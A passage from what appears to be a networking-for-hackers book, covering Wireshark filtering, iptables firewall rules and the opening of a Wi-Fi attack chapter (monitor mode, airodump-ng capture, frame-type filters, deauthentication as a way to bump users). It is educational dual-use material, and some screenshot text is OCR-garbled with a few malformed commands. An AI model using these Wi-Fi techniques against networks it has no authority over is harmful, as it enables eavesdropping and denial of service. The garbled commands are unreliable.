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6749 298, 652365 192.165.1.107 72.167.18.239 TCP 66 49946 4-80 [SYN] 5x=0 hit173220 Leme NS5-1460 NS-256 SACK_PERH=1 700 <td< td=""><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></td<>								
Prema 52: 52: 65 bityses on size of 462 bits; 53 bityses coptured 422 bits; on size of 422 bits; on sits; on size of 422 bits; on size of 422 bits; on sit								
> Frame 332: 56 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface 0 > Ethernet II, Src: IntelOr_Sisce(5 (40+37455):66(5), Dut C (160+16), 476(48 (40+25:9:6:97:4f;48)))) > Internet Protocol Version 4, Src: 132.168.1.187, Dst: 184.86.198.57 > Transmission Control Protocol, Src Port: 498990, Dst Port: 80, Seq: 1, Ack: 1, Len: 0								~
0010 00 28 36 cf 40 00 80 06 d3 5d c0 a8 01 6b 68 56 (6.8····]···khv 0020 c6 39 c2 e2 00 50 16 83 bc 46 90 56 4e 0f 50 11 ·································						Ack: 1, Len: 0		
0020 c6 39 c2 e2 00 50 16 83 bc 46 90 56 4e 0f 50 11 9 F F VN P								
	00	010 00 28 36 cf 40	0 00 80 06 d3 5d c0	a8 01 6b 68 56 · (6·@		khV		
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2 wireshark_96675761-A83C-4+DA-88C5-E16DA6C0807_20180917140917_a07760.pcapng Profile: Defaul	00 00	00 28 36 cf 40 20 c6 39 c2 e2 00	0 00 80 06 d3 5d c0 0 50 16 83 bc 46 90	a8 01 6b 68 56 (6.6 56 4e 0f 50 11 9	P····]···	khV		

Note that this filter indicated the protocol (tcp), the direction (dst) and the port (80).

When creating filters, we most often use "==" as the operator in our filter (there are others; see below). This syntax works fine as long as we are looking for one of the many header fields in the protocol. If we are looking for strings in the payload, we have to use the "contains" operator. So, if I were looking for packets with the word "Facebook" in them, we could create a filter like that below.

💰 *Wi-Fi				-	· □ ×	
File Edit View Go	Capture Analyze Statistics	Telephony Wireless Too	Help			
	⊠ © 9 ⊕ ⊕ ≌ ₹					
tcp contains facebook		× <u> </u>			Expression	
					Expression	
No. Time			ocol Length Info			
17978 738.668725			v1.3 571 Client Hello			
18121 739.594815	192.168.1.107	157.240.22.35 TLS	v1.3 571 Client Hello			
	oytes on wire (4568 bits)					
Ethernet II, Src: IntelCor_55:3c:05 (30:e3:7a:55:3c:05), Dst: Cisco-Li_97:4f:48 (00:25:9c:97:4f:48)						
	Version 4, Src: 192.168.					
	rol Protocol, Src Port: 5	30021, Dst Port: 443, Se	{: 1, Ack: 1, Len: 517			
> Secure Sockets Lay	er					
0040 03 f1 5f 9d 5b	0d 2f 14 c7 97 38 31 1	15 02 90 66 · · · [· / · ·	81f			
	cd 1c 6e bf 95 98 a4 2					
	a2 af de f2 b9 50 88 b					
	3f 0c 28 96 55 ea 82 2					
	01 13 03 13 02 c0 2b c 30 c0 13 c0 14 00 2f 0					
	00 00 15 00 13 00 00 1					
	62 6f 6f 6b 2e 63 6f 6					
	.00000a 000e000c0		<u></u>			
U Bytes 1/3-188: Se	erver Name (ssl.handshake.extensi	.ons_server_name)		Packets: 20092 · Displayed: 2 (0.0%)	Profile: Default	

As you can see above, it only found two packets with the word Facebook in the payload, and we can see the word Facebook in the ASCII display in the #3 pane.

Creating Filters with the Expression Window

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If we aren't sure what field we want to filter for or how to create the necessary filter, we can click on the Expression tab to the far right. This opens the Expression window like below.

4 📜 🗏 Q Q Q II	
	pression +
Wireshark - Display Filter Expression ? X	Λ
ield Name Relation	42
> 104apci · IEC 60870-5-104-Apci	L
> 104aadu - IEC 60870-5-104-Asdu	
29West - 29West Protocol !=	
> 2dparityfec · Pro-MPEG Code of Practice #3 release 2 FEC Protocol >	
> 3COMXNS - 3Com XNS Encapsulation <	
> 3GPP2 A11 · 3GPP2 A11 >=	
> 6LoWPAN · IPv6 over Low power Wireless Personal Area Networks <=	
> 802.11 Radio - 802.11 radio information contains	
> 802.11 Radiotap - IEEE 802.11 Radiotap Capture header matches	
> 802.11 RSNA EAPOL - IEEE 802.11 RSNA EAPOL key in	
> 802.3 Slow protocols · Slow Protocols	
> 9P · Plan 9	
A21 - A21 Protocol AdE - AVTP Audio Format Value	
AALI - ATM AAALI	
AAL3/4 · ATM AAL3/4 > AARP · Appletalk Address Resolution Protocol Predefined Values	^
AAKP - Appletaik Address Resolution Protocol AASP - Aastra Signalling Protocol	
A-bis OHL (SM A-bis OHL	
A AC4P - Application Configuration Access Protocol	
ACN - Architecture for Control Networks	
ACP133 · ACP133 · ACP133 · Attribute Syntaxes	
ACR 122 · Advanced Card Systems ACR122	
	~
Pr	rofile: Default
iearch:	
No display filter	
4 hint.	
OK Cancel Help	
Concert Trap	

To the left of this window is the long list of fields available to us to create filters. These are hundreds of protocols and the protocols' fields. You can expand a protocol and find all of its fields and select the field of interest.

The upper right-hand window includes the **Relation** choices. These include:

==	Equal To
!=	Not Equal To
>	Greater Than
<	Less Than
>=	Greater than or Equal To
<=	Less Than or Equal To
contains	Protocol or Field Contains a Value
matches	Protocol or Text Field Matches a Regular Expression

Operator Description

We can now create a filter by simply selecting a field in the left window, a relation in the upper right window, and a value in the lower right window (values are very often 1 or 0, meaning they exist or do not). For instance, if we want to find all tcp packets with the RST flag set, we would enter:

tcp. flags.rst==1

Following Streams

In some cases, rather than examine all the packets of a particular protocol or traveling to a particular port or IP, you want to follow a stream of communication. Wireshark enables you to do this with little effort. This technique can be useful if you are trying to follow, for instance, the conversation of a rogue, disgruntled employee who is trying to do damage to your network.

To follow a stream, select a packet by clicking on it and then right-click.

<u>/ = / </u> •	o Capture Analyze Statis				-
Itop No. Tme 11124 126.48944 11125 126.53083 11126 126.53104 11127 129.28264 11132 129.31365 11133 129.31365 11133 129.31365 11133 129.35865 11133 129.35865 11133 129.35865	8 172.217.3.4 192.168.1.107 192.168.1.107 192.168.1.107 192.168.1.107 4 162.125.34.129 4 162.125.34.129 1 162.125.34.129	Destination 172.217.3.4 192.168.1.107 172.217.3.4 162.125.34.129 162.125.34.129 192.168.1.107 192.168.1.107 192.168.1.107 162.125.34.129	TCP 54 443 + 51016 FIN TCP 54 51016 + 443 [ACI TLSV1.2 153 Application Data TLSV1.2 379 Application Data TCP 60 443 + 50856 [ACI TLSV1.2 50 Application Data TCP 60 443 + 50856 [ACI TLSV1.2 96 Application Data TCP 60 443 + 50856 [ACI S0856 [ACI]] Seq=899 Ack=994 Win=82 Len=0	Epresion_ 4
<pre>> Ethernet II, Sr > Internet Protoc</pre>	6 185.70.40.151	0:25:9c:97:4f:48) 168.1.1, Dst: 192	Mark/Unmark Packet Ctrl+M Ignore/Unignore Packet Ctrl+D Set/Unset Time Reference Ctrl+T Time Shift Ctrl+Shift- Packet Comment Ctrl+Aht-C Edit Resolved Name Apply as Filter Prepare a Filter Conversation Filter Conversation Filter	036 → 443 [ACK] Seq=10874 Ack=12] 443 → 51036 [ACK] Seq=12792 Ac 547 → 443 [ACK] Seq=5343 Ack=195	792 Win-68 Lenel 14:00679 Win-12 Lened SLE-10874 SRE-10875 1 Win-16545 Lene1[Reassembly error, protoc
0010 00 28 b1 cc	3c 05 00 25 9c 97 4f 4 40 00 40 66 95 47 c0 c7 6b 00 00 fd bd 65 e 00 00	8 01 01 c0 a8	Colorate Conversation CCTD Follow Copy Protocol Preferences Decode As Show Packet in New Window	TCP Stream Ctrl+Alt+Shift+T UDP Stream Ctrl-Alt+Shift+O SSL Stream Ctrl-Alt+Shift+	

This opens a pull-down window like that above. Click "Follow" and then "TCP Stream."



This opens a window that includes all the packets and their content in this stream. Note the statistics at the bottom of the window to the far left (5796 bytes) and the method of displaying the content (ASCII).

Statistics

Finally, we may want to gather statistics on our packet capture. This can be particularly useful in creating a baseline of normal traffic. Click on the **Statistics** tab at the top of Wireshark, and a pull-down menu appears. In our case, let's navigate down to the IPv4 Statistics and then All Addresses.

Topic / Item	Count	Average	Min val	Max val	Rate (ms)	Percent	Burst rate	Burst start			^
 All Addresses 	20030				0.0235	100%	2.0400	285.065			
98.208.120.83	2				0.0000	0.01%	0.0200	157.609			
95.90.216.176	2				0.0000	0.01%	0.0100	360.629			
95.211.193.117	2				0.0000	0.01%	0.0100	213.622			
95.185.10.104	1				0.0000	0.00%	0.0100	45.631			
95.133.184.74	1				0.0000	0.00%	0.0100	570.624			
93.157.125.6	2				0.0000	0.01%	0.0100	850.613			
93.156.164.111	1				0.0000	0.00%	0.0100	843.606			
92.249.157.130	2				0.0000	0.01%	0.0100	689.628			
92.249.150.192	2				0.0000	0.01%	0.0100	710.626			
92.189.95.108	1				0.0000	0.00%	0.0100	773.634			
91.245.122.169	2				0.0000	0.01%	0.0100	346.650			
91.121.195.238	2				0.0000	0.01%	0.0100	759.614			
89.2.187.59	2				0.0000	0.01%	0.0100	465.639			
89.139.66.80	2				0.0000	0.01%	0.0100	521.638			
89.107.138.220	1				0.0000	0.00%	0.0100	577.617			
87.50.89.251	2				0.0000	0.01%	0.0100	787.638			
86.61.63.86	1				0.0000	0.00%	0.0100	241.615			
86.143.13.160	2				0.0000	0.01%	0.0100	647.635			
85.67.250.91	1				0.0000	0.00%	0.0100	367.613			
85.253.211.77	2				0.0000	0.01%	0.0100	514.607			1
splay filter: Enter a dis	play filter									Appl	v

As you can see above, Wireshark has listed every IP address with activity and some basic statistics for each IP address.

Sniffers, network analyzers, protocol analyzers such as tcpdump and Wireshark are essential tools for understanding what is taking place on your network. The better you understand how these tools work and how they can help you analyze your traffic, the better you will be as a network engineer or hacker. Throughout this book, we will be using these tools to shed some light on the various protocols we are analyzing.

Exercises

- 1. Use tcpdump to filter out all traffic not coming or going to your IP address.
- 2. Connect to hackers-arise.com. Now use Wireshark to filter out any traffic not coming from the hackers-arise.com web site
- 3. Use Wirehark to filter for traffic that has the word "hacker" in it.
- 4. Use netstat to find all the connections to your system

Chapter 4 Linux Firewalls

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Now that you know a bit about networking and network packets, it's probably a good idea to start thinking about protecting your network. A firewall is one of the key security measures necessary for a secure network. Linux has a number of firewalls available to the infosec practitioner that can be crucial to securing their systems without the high cost of commercial systems. It only requires a bit of knowledge and training.

A firewall is a subsystem on a computer that blocks certain network traffic from going into or out of a computer. Firewalls can be either software or hardware-based. Hardware-based firewalls generally are used to protect a network and the computers on it, while a software-based firewall protects the system hosting it.

Iptables is a flexible firewall utility built for Linux and other *nix-based operating systems. It uses the command line to setup policy chains to allow or block traffic. When someone tries to connect to your computer, iptables automatically looks for a rule to match the type of traffic. If it doesn't find a match, it falls back to the default action.

The iptables firewall was developed by the Netfilter project and has been available as part of the Linux kernel since January 2001. As iptables has matured over the years, it has developed the functionality of many of the proprietary commercial firewalls.



Iptables Basics

iptables is made up of some basic structures known as tables, chains, and targets

Let's look at each of these.

Tables

Tables are an iptables construct that defines categories of functionality such as packet filtering or NAT. There are four tables: FILTER, NAT, MANGLE, and RAW. Filter is the default table if none other is specified. NAT is used to rewrite the source and/or destination of packets. MANGLE is used for packet alteration, such as modifying the TCP header. RAW is used for configuring exemptions from connection tracking

Chains

Each table has its own built-in chains, and the user can define their own chains. Chains are lists of rules within a table. For our purposes here, the most important chains are INPUT, OUTPUT, and FORWARD.

INPUT

This chain is for packets destined for the local system

OUTPUT

This chain is for packets leaving the local system

FORWARD

This chain is for packets being routed through the local system

MATCH

A MATCH is where a packet meets the condition established by the rule. iptables then processes the packet according to the action in the rule.

TARGETS

iptables support a set of targets that trigger an action when the packet meets the condition of a rule. The most important of these are ACCEPT (allow the packet to pass), DROP (drop the packet), LOG, REJECT (drop the packet and send back an error) and RETURN.

Installing Iptables

Iptables comes installed on nearly every Linux and *nix system, but if for some reason your system doesn't have iptables tables installed, you can download it from the repository.

kali > sudo apt install iptables



Configuring the Default Policy

Before we begin configuring our iptables, we must first decide what will be our default policy. In other words, what should the firewall do to packets that do not match any rule?

To see the default policy on your policy chains, simply enter;

kali > sudo iptables -L



As you can see in the screenshot above, our chains are all set by default to ACCEPT. Most times, you will want your system to accept connections by default, but on very secure systems, you may want to set the default to BLOCK and then write a rule for every type of accepted connection. This is very secure, but very tedious and maintenance intensive. For now, let's leave the default policy to ACCEPT.

iptables help

Next, let's look at the help screen for iptables.

kali > sudo iptables -h



In the first of these screens, you can see the key options -A, -D, and -L. They are all uppercase, and they append (-A), delete (-D), and list (-L) the chain, respectively.



In the second screen, we can see the options -s -d and -j. These are all lowercase and indicate the source address, the destination address, and the target, respectively.

Create Some rules

Next, let's create some rules. Let's assume that you want to block any packets coming from IP address 192.168.1.102. To create this rule, we simply do the following;

-A this appends this rule to the chain

INPUT looks to match packets coming to the local system

-s sets the source address of the packets

-j sets the target in this case, DROP

kali@kali:~\$ sudo iptables -A INPUT -s 192.168.1.102 -j DROP

We can do the same for the entire sub-network by using CIDR notation or 192.168.1.0/24

kali@kali:~\$ sudo iptables -A INPUT -s 192.168.1.0/24 -j DROP

If we want to DROP packets destined for a particular port, we can use the -p option followed by the protocol (tcp) and the --dport (destination port) followed by the port (ssh).

kali@kali:~\$ sudo iptables -A INPUT -s 192.168.1.102 -j DROP

If we wanted to accept connections to the website <u>www.amazon.com</u>, we could build a rule that ACCEPTs outgoing connection (OUTPUT) over the TCP protocol (-p tcp) to <u>amazon.com</u> (-d amazon.com)

kali > sudo iptables -A OUTPUT -p tcp -d amazon.com -j ACCEPT

kali@kali:~\$ sudo iptables -A OUTPUT -p tcp -d amazon.com -j ACCEPT

It's important to note that iptables will do a DNS lookup only at the time of the creation of the rule. If the IP address changes, the rule will become ineffective. For this reason, it is preferable to use the IP address of the domain.

If we wanted to block access to any other websites, we could create the following two rules; @AnonGhostNetwork

kali > sudo iptables -A OUTPUT -p tcp --dport 80 -j DROP

kali > sudo iptables -A OUTPUT -p tcp --dport 443 -j DROP

kali@kali:~\$ sudo iptables -A OUTPUT -p tcp -- dport 80 -j DROP kali@kali:~\$ sudo iptables -A OUTPUT -p tcp -- dport 443 -j DROP

The order of these rules is critical. iptables will search the rules until it finds a match. This means that if the last two rules, dropping ports 80 and 443, were placed before the domain rule, the user would never be able to reach <u>amazon.com</u> as the drop rules would match before reaching the domain rule.

So when the local system attempts to connect to amazon.com, they are blocked, and the browser times out, as seen below.



Finally, we can view our table by using the -L or list option

kali@kali: Chain INPU		_			
target			source	destination	
DROP DROP			192.168.1.102 192.168.1.0/24	anywhere anywhere	
DROP			anywhere	anywhere	tcp dpt:ssh
ACCEPT	tcp		192.168.1.1020 / 101	anywhere CLWOCK	tcp dpt:ssh state NEW,ESTABLISHED
Chain FORW	ARD (p	olid	y ACCEPT)		
target	prot	opt	source	destination	
Chain OUTP	UT (po	licy	ACCEPT)		
target	prot	opt	source	destination	
ACCEPT	tcp		anywhere	176.32.103.205	
ACCEPT	tcp		anywhere	54.239.28.85	
ACCEPT	tcp		anywhere	s3-console-us-standa	rd.console.aws.amazon.com
DROP	tcp		anywhere	anywhere	tcp dpt:http
DROP	tcp		anywhere	anywhere	tcp dpt:https
kali@kali:	~\$				

To delete a table and start over, we can flush (-F) the table.

kali > sudo iptables -F

<pre>kali@kali:~\$ sudo iptables -F kali@kali:~\$ sudo iptables -L Chain INPUT (policy ACCEPT) target</pre>	destination
Chain FORWARD (policy ACCEPT) target prot opt source	destination
Chain OUTPUT (policy ACCEPT) target prot opt source <mark>kali@kali:~\$</mark>	destination

Now, when we list the table, we can see that we have a clean slate for creating a new table.

Summary

iptables provides the Linux practitioner and cybersecurity professional with a powerful and flexible firewall. With just a bit of knowledge and practice, they can create an effective firewall rivaling the more expensive and complex commercial products costing tens of thousands of dollars.

Exercises

- 1. Create a firewall that enables you to connect to Hackers-Arise and no other website on ports 80 and 443
- 2. Add a rule to block port 445
- 3. Flush these rules

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Chapter 5 Wi-Fi Networks (802.11)

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In our modern digital age, wireless connections are the norm. We connect to the Internet via Wi-Fi, we connect to our speakers and phone via Bluetooth, and we connect our phones via cellular service. All are wireless, and all are susceptible to being hacked. Each of these areas of hacking would warrant a separate book, but in this chapter, I'll focus on some of the best, most recent, and most effective hacks to Wi-Fi (for Bluetooth Hacks, see Chapter 6 and for Cellular Networks, see Chapter 16).

In this chapter, we will explore multiple ways that these wireless technologies can be attacked and broken. This includes both acquiring the password (PSK) and eavesdropping on Wi-Fi traffic. These techniques require a bit of sophisticated Linux and Kali skills (see *Linux Basics for Hackers*) and patience, but if you have those two elements, you should be successful in cracking nearly any Wi-Fi AP!

Let's begin with Wi-Fi or 802.11, as it is known to the IEEE. We all know how to work with Wi-Fi, but few of us understand its inner workings. Understanding a bit about its anatomy will help us in attacking it.

Wi-Fi or 802.11

Wi-Fi is also sometimes referred to as a "Wireless Local Area Network" or WLAN, which basically sums up what this technology is all about. In technical terms, Wi-Fi (or wireless networking) is known as IEEE 802.11 technologies. Without getting into too much detail, IEEE 802.11 is a set of standards created and maintained by the Institute of Electrical and Electronics Engineers (IEEE), which are used to implement WLAN communication in select frequency bands.

Initially, Wi-Fi was secured with Wired Equivalent Privacy or WEP. This proved flawed and easily hacked, so the industry developed WPA as a short-term fix. Eventually, the industry implemented WPA2, which has proven relatively resilient to attack but does have its flaws. The industry is presently rolling out WPA3 due to these vulnerabilities in WPA2.

Terminology

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This chapter contains a lot of new terminology and acronyms, so let's pause a moment to review some terminology.

AP –	This is the access point or the place where the clients connect to the Wi- Fi and get Internet access.
PSK -	Pre-Shared-Key This is the password used to authenticate to the AP
SSID -	The name used to identify the AP
ESSID -	(Extended Service Set Identifier) is the same as the SSID but can be used for multiple APs in a wireless LAN
BSSID -	(Basic Service Set Identifier) this is the unique identifier for every AP. It's the same as the MAC address of the AP
Channels -	Wi-Fi operates on channels 1-14 but is limited to 1-11 in the U.S.
Power -	The closer you are to the AP, the stronger the signal. The signal in the U.S is limited to .5 watts by the FCC
Security -	This is the security protocol to authenticate and encrypt Wi-Fi traffic. The most popular at this time is WPA-PSK

Modes -	Wi-Fi can operate in three modes, master, managed, and monitor. APs operate in master mode, wireless network interfaces operate in monitor mode by default, and hackers usually operate in monitor mode.
Range -	At the legal limit of .5 watts, most Wi-Fi APs are accessible up to 300ft (100m) but with high gain, antennas can be accessible up to 20 miles
Frequency -	Wi-Fi is designed to operate at 2.4GHZ and 5GHZ. Most modern systems now use both.

802.11 Security Protocols

There have been several security protocols to protect and encrypt Wi-Fi, and your strategy will depend upon which has been implemented.

WEP

The initial security protocol to secure 802.11 was named WEP or Wired Equivalent Privacy. By 2001, hackers discovered that--through statistical techniques--they could crack the user's password in minutes due to improperly implemented RC4 encryption. The IEEE had to quickly find a replacement as all the Wi-Fi APs were left without security at that point. Few of these access points are still in use today.@AnonGhostNetwork

WPA

In 2003, IEEE created a short-term fix they called Wi-Fi Protected Access or WPA. The key part of this new security protocol was that it did not require replacing the existing hardware, but rather it relied upon firmware upgrades. WPA also relied upon the RC4 encryption algorithm but added some additional features making the PSK more difficult and time-consuming to crack. These features included

- 1. Making the Initialization Vector longer from 48 to 128 bits
- 2. TKIP, which generates different keys for each client
- 3. Message Integrity Check to make certain the messages have not been altered enroute

WPA2

The WPA2 802.11i standard was finalized in June 2004. WPA2 uses the counter mode with Cipher Block Chaining Message Authentication Protocol, more commonly known as CCMP. This new protocol was based upon the Advanced Encryption Standard (AES, see Appendix A for more on Cryptography) algorithm for authentication and encryption. CCMP was more processor-intensive, so most APs had to be replaced with more vigorous hardware. WPA2 supports both Personal and Enterprise modes. When using the personal mode (PSK), the preshared key (password) is combined with the SSID to create a pairwise master key (PMK). This was designed to make a rainbow table password cracking more difficult. The client and the AP exchange messages using the PMK to create a pairwise transient key (PTK). This key is unique to each user and session and was designed to make sniffing Wi-Fi traffic more difficult.

Wi-Fi Adapters for Hacking

Although nearly everyone has a Wi-Fi adapter on their laptop or mobile device, these Wi-Fi adapters are generally inadequate for the attacks I outline here. Wi-Fi hacking requires a specialized Wi-Fi adapter, one that is capable of injecting frames into a wireless AP. Few off-the-shelf Wi-Fi adapters can do so.

Aircrack-ng is the most widely used tool for Wi-Fi (many tools simply put a GUI over aircrack-ng) hacking, and aircrack-ng maintains a list of Wi-Fi chipsets that are compatible with their software at <u>https://www.aircrack-ng.org/doku.php?id=compatible_cards</u>).

I can save you a lot of time and research and simply recommend the Alfa Wi-Fi cards. I have been using them for years, and they work flawlessly. They are inexpensive, effective, and efficient. I will be using the Alfa AWUS036NH throughout this chapter. You can order your own with a high-gain antenna (not required, O but recommended) from Amazon for less than \$40 (https://amzn.to/2PvC1u0).



Before we begin attacking the Wi-Fi, let's review some commands and concepts we will need to attack them.

Viewing Wireless Interfaces

First, we need to view our wireless interfaces. You can do this by simply using the *ifconfig* command in Linux. This command displays all your networking interfaces.

kali > ifconfig



To be more specific and view only the wireless interfaces, you can use the iwconfig command.

kali > iwconfig



As you can see, this command only displays those interfaces with "wireless extensions."

To view all the Wi-Fi APs within range of your wireless network interface, you can enter iwlist in Linux.

kali > iwlist
root@kal	<mark>i-2019:∼#</mark> iwlist wlan0 scan
wlan0	Scan completed :
	Cell 01 - Address: MAC Address or BSSID <
	Channel:6
	Frequency:2.437 GHz (Channel 6)
	Quality=70/70 Signal level=-19 dBm
	Encryption key:off
	ESSID:"xfinitywifi"
	Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
	9 Mb/s; 12 Mb/s; 18 Mb/s
	<u>Bit Rates:24</u> Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
	Mode:Master
	Extra:tsf=000000a447154beb
	Extra: Last beacon: 2420ms ago

This command is capable of detecting all the APs within range and providing you with key information about each, including:

- 1. Its MAC address
- 2. Its channel
- 3. Frequency
- 4. ESSID
- 5. Its Mode

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Monitor Mode

Speaking of Wi-Fi mode, Wi-Fi or 802.11 has three modes: master, managed, and monitor. Monitor mode is similar to the promiscuous mode in a wired network, where the network device is capable of picking up all packets passing its way. Generally, in Wi-Fi hacking, you will need your wireless card in **monitor** mode. To do so, enter

```
kali > airmon-ng start wlan0
```

Found Kill t the ca and so PID 550 890	3 processes the hem using air rd in monitor i	node, they will . g the interface r	
РНҮ	Interface	Driver	Chipset
phy1	wlan0	rt2800usb	Ralink Technology, Corp. RT2870/RT3070 🚦
			de vif enabled for [phy1]wlan0 on [phy1] <mark>wlan0mon</mark>) de vif disabled for [phy1]wlan0)

When you enter this command, it places your wireless interface into monitor mode and changes its name. Here you can see it has changed to wlan0mon.

Also, note that it warns that three processes could cause trouble. Despite this warning, usually, this does not cause a problem. If it does create a problem, enter:

```
kali > airmon-ng check kill
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```

Capturing Frames

Next, with our wireless NIC in monitor mode and seeing all the traffic around us, we need to begin to capture that data. We can do so by using the airodump-ng command in the aircrack-ng suite as so:

kali> airodump-ng wlan0mon

CH 10][Elapsed:	0 s]	[2019-11-01	09:26							
BSSID	PWR	Beacons	#Data,	#/s	СН	MB	ENC	CIPHER	AUTH	ESSID
MAC Addresses of AP's	- 55	2	0	0	11	58	WPA2	CCMP	PSK	HP-Print-E3-Deskje
UI AF S	- 1	Θ	0	0	- 1	- 1				<length: 0=""></length:>
	-63	2	0	Θ	1	130	WPA2	CCMP	PSK	TPTV1
	-66	2	0	Θ	1	130	WPA2	CCMP	MGT	<length: 0=""></length:>
	-77	2	Θ	Θ	1	195	WPA2	CCMP	PSK	CenturyLink6236
	-78	6	Θ	Θ	10	54e	WEP	WEP		APHU1
BSSID	STAT	ION	PWR	Ra	te	Los	t	Frames	Prob	e
F2:A3:A7:5B:63:29	00:1	E:8F:8D:18:2	25 -16	0	- 1		42	13	Mand	ela2
(not associated)	52:C	C:23:F6:58:E	2 -78	0	- 1		Θ	1		

Now, we can see all the APs with their critical information in the upper part of the screen and the clients in the lower part of the screen. All the information we need to attack these APs and clients is available right here!

Anatomy of Wi-Fi Frames

In this section, we will be examining the Wi-Fi (802.11) protocol anatomy. It's great to know how to use the tools at our disposal to hack Wi-Fi, but if you want to develop your own tools, you will need to dig deeper into the Wi-Fi protocol to understand it better.

The tables below enumerate each of the Wi-Fi frame types, their description, and how you can filter for each type using Wireshark.

Type value	Type description	Subtype value	Subtype description	Wireshark display filter
0	Management	0	Association Request	wlan.fc.type_subtype == 0x00
0	Management	1	Association Response	wlan.fc.type_subtype == 0x01
0	Management	10	Reassociation Request	wlan.fc.type_subtype == 0x02
0	Management	11	Reassociation Response	wlan.fc.type_subtype == 0x03
0	Management	100	Probe Request	wlan.fc.type_subtype == 0x04
0	Management	101	Probe Response	wlan.fc.type_subtype == 0x05
0	Management	0110-0111	Reserved	
0	Management	1000	Beacon	wlan.fc.type_subtype == 0x08
0	Management	1001	ATIM	wlan.fc.type_subtype == 0x09
0	Management	1010	Disassociation	wlan.fc.type_subtype == 0x0A
0	Management	(0) Anon (1011	OSI Authentication	wlan.fc.type_subtype == 0x0B
0	Management	1100	Deauthentication	wlan.fc.type_subtype == 0x0C
0	Management	1101	Action	wlan.fc.type_subtype == 0x0D
0	Management	1110-1111	Reserved	

value	Type description	Subtype value	Subtype description		Wireshark display filter
1	. Control	0000-0111	Reserved		
1	Control	1000	Block Ack Request	wlan.fc.ty	pe_subtype == 0x18
1	Control	1001	Block Ack	wlan.fc.ty	pe_subtype == 0x19
1	Control	1010	PS-Poll	wlan.fc.ty	pe_subtype == 0x1A
1	Control	1011	RTS	wlan.fc.ty	pe_subtype == 0x1B
1	. Control	1100	CTS	wlan.fc.ty	pe_subtype == 0x1C
1	Control	1101	АСК	wlan.fc.ty	pe_subtype == 0x1D
1	Control	1110	CF-end	wlan.fc.ty	pe_subtype == 0x1E
1	Control	1111	CF-end + CF-ack	wlan.fc.ty	pe_subtype == 0x1F

Type Value	Type Description	Subtype Value	Subtype Description		Wireshark Display Filter	
10	Data	0	Data	wlan.fc.ty	pe_subtype == 0x20	
10	Data	1	Data + CF-ack	wlan.fc.type_subtype == 0x21		
10	Data	10	Data + CF-poll	wlan.fc.ty	pe_subtype == 0x22	
10	Data	11	Data +CF-ack +CF-poll	wlan.fc.ty	pe_subtype == 0x23	
10	Data	100	Null	wlan.fc.ty	pe_subtype == 0x24	
10	Data	101	CF-ack wlan.fc.t		pe_subtype == 0x25	
10	Data	110	CF-poll	wlan.fc.type_subtype == 0x26		
10	Data	111	CF-ack +CF-poll wlan.fc.t		pe_subtype == 0x27	
10	Data	1000	QoS data	wlan.fc.ty	pe_subtype == 0x28	
10	Data	1001	QoS data + CF-ack	wlan.fc.ty	pe_subtype == 0x29	
10	Data	1010	QoS data + CF-poll	wlan.fc.ty	pe_subtype == 0x2A	
10	Data	1011	QoS data + CF-ack + CF-poll	wlan.fc.ty	pe_subtype == 0x2B	
10	Data	1100	QoS Null	wlan.fc.type_subtype == 0x2C		
10	Data	1101	Reserved	wlan.fc.type_subtype == 0x2D		
10	Data	1110	QoS + CF-poll (no data)	wlan.fc.ty	pe_subtype == 0x2E	
10	Data	1111	Qos + CF-ack (no data)	wlan.fc.ty	pe_subtype == 0x2F	
11	Reserved	0000-1111	Reserved			

A Bit of Background of these Different Frame Types

The tables above are a great reference, but let's take a moment to review what each of those frames does, including their specific Wireshark filter (in italics beneath each description). It's important to note that tools such as airodump-ng and Kismet are capable of using these frames to provide you with key information necessary for hacking the AP.

1. An Association request is sent by a station to associate with a BSS.

wlan.fc.type == 0x00

2. An Association response is sent in response to an association request

wlan.fc.type==0x01

3. A **Reassociation** request is sent by a station changing association to another AP in the same ESS (so roaming between APs, or reassociating with the same AP)

wlan.fc.type == 0x02

4. **Reassociation response** is the response to the reassociation request

wlan.fc.type = 0x03

5. **Probe request** is sent by a station in order to "scan" for an SSID (this is how airodump-ng and other tools find the AP even if the SSID is turned off).

wlan.fc.type == 0x04

6. **Probe response** is sent by each BSS participating to that SSID

wlan.fc.type = -0x05

7. **Beacon** is a periodic frame sent by the AP (or stations in case of IBSS) and gives information about the BSS

wlan.fc.type == 0x08

8. ATIM is the traffic indication map for IBSS (in a BSS, the TIM is included in the beacon)

wlan.fc.type == 0x09

9. Disassociation is sent to terminate the association of a station

wlan.fc.type == 0x0A

10. Authentication is the frame used to perform the 802.11 authentications (and not any other type of authentication)

wlan.fc.type==0x0B

11. **Deauthentication** is the frame terminating the authentication of a station. This frame is often used in our attack tools to "bump" users off the AP using aireplay-ng or perform a <u>Denial of</u> <u>Service on the AP</u>.

wlan.fc.type = = 0x0C

12. Action is a frame meant for sending information elements to other stations (when sending in a beacon is not possible/best)

wlan.fc.type == 0x0D

13. **PS-Poll** is the Power-save poll frame polling for buffered frames after a wake-up from a station

wlan.fc.type == 0x1A

14. **RTS** is the request-to-send frame

wlan.fc.type==0x1B

15. CTS is the clear-to-send frame (often response to RTS)

wlan.fc.type == 0x1C

16. ACK is the acknowledge frame sent to confirm receipt of a frame.

wlan.fc.type = = 0x1D

17. Data frame is the basic frame containing data

wlan.fc.type == 0x20

18. Null frame is a frame meant to contain no data but flag information

wlan.fc.type = 0x24

19. QoS (Quality of Service) data is the QoS version of the data frame

wlan.fc.type == 0x28

20. QoS (Quality of Service) null is the QoS version of the null frame @AnonGhostNetwork

wlan.fc.type = 0x2C

Wireshark Display Filters for Wi-Fi Frames

To filter for these frames in <u>Wireshark</u>, click on the "Expressions" tab to the right of the filter window and the following Window will open.

In the Search field near the bottom right, enter "wlan" as seen below.

is present == != > < >= <= contains matches -
!= > < >= <= contains matches
<
< >= <= contains matches
>= <= contains matches
<= contains matches
contains matches
matches
-
in
/alue (Protocol)
to start building a display filter.
Predefined Values
Range (offset:length)
r

Now, scroll down to the "wlan.fc.subtype" field and click on it. Select the "==" for relation and then enter the value of the frame type you want to filter for.

Wireshark · Display Filter Expression		? >
eld Name		Relation
wlan.fc.moredata · More Data	^	is present
wlan.fc.order - Order flag		==
wlan.fc.protected · Protected flag		1=
wlan.fc.pwrmgt · PWR MGT		>
wlan.fc.retry · Retry		<
wlan.fc.retry.expert · Retransmission (retry)		>=
